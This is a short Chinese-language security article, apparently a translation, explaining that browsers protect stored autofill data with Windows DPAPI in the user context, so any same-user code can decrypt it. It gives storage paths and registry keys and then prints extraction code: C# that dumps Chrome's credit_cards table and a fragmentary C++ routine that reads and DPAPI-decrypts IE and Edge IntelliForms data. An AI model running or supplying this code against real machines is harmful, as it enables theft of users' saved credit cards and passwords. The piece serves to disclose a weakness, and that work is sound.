Chrome Firefox浏览器密码存储查看
Chrome会将这些数据存储在一个SQLite数据库文件中:
%LocalAppData%\Google\Chrome\UserData\Default\Web Data
Firefox同样会将这些数据存储在一个SQLite数据库文件中:
%AppData%\Mozilla\Firefox\Profiles\{uniqString}.default\formhistory.sqlite
需要注意的是,IE、Edge、Chrome和Firefox在存储自动填充数据之前,都会利用Windows DPAPI(数据保护应用编程接口)来对自动填充数据进行加密,并在使用之前利用DPAPI进行数据解密。
问题就在于,会在用户环境下调用DPAPI,在加密数据时,完全不需要用户干预或输入额外密码。而此时任何脚本或代码都可以运行在同一用户环境下(不需要特殊权限或提权),因此恶意代码就可以模仿浏览器调用DPAPI来对数据进行加密解密了。
当然了,我们也有更安全的DPAPI使用方法,但在解密过程中需要用户干预,我们待会儿再讨论。
Firefox在存储自动填充数据时,完全不会对数据进行加密。本文针对的主要是信用卡数据,但浏览器中还会存储各种其他的敏感信息,例如用户名、密码和隐私链接等等,而这些数据都会存储在同一文件或注册表键值之中。
数据提取代码
Chrome代码(C#)-
string SQLiteFilePath
=Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)+"\\Google\\Chrome\\User
Data\\Default\\Web Data";
string tableName = "credit_cards";
string ConnectionString = "data source=" + SQLiteFilePath +";New=True;UseUTF16Encoding=True";
string sql = string.Format("SELECT * FROM {0} ", tableName);
SQLiteConnection connect = new SQLiteConnection(ConnectionString)
SQLiteCommand command = new SQLiteCommand(sql, connect);
SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
DataTable DB = new DataTable();
adapter.Fill(DB);
IE& Edge代码(C++)-
DATA_BLOBDataIn; DATA_BLOBDataVerify;std::vector<LPCWSTR>RegKeys; RegKeys.push_back(L"Software\\Microsoft\\InternetExplorer\\IntelliForms\\FormData"); RegKeys.push_back(L"Software\\Classes\\LocalSettings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData"); RegKeys.push_back(L"Software\\Microsoft\\InternetExplorer\\IntelliForms\\Storage1"); RegKeys.push_back(L"Software\\Microsoft\\InternetExplorer\\IntelliForms\\Storage2");for(int i = 0; i < 4; i++) // run as number of keys{//runover the RegKeys keysRegOpenKeyEx(HKEY_CURRENT_USER,RegKeys[i], 0, KEY_QUERY_VALUE, &hKey)//runover each key’s values and extracting the reg value (BlobData)for(int j = 0; j < keyValues.size(); j++) { RegQueryValueEx(hKey,keyValues[j].c_str(), 0, 0, (LPBYTE)dwReturn, &dwBufSize); DataIn.cbData= dwBufSize; DataIn.pbData= dwReturn; decryptContentDPAPI(&DataIn,&DataVerify);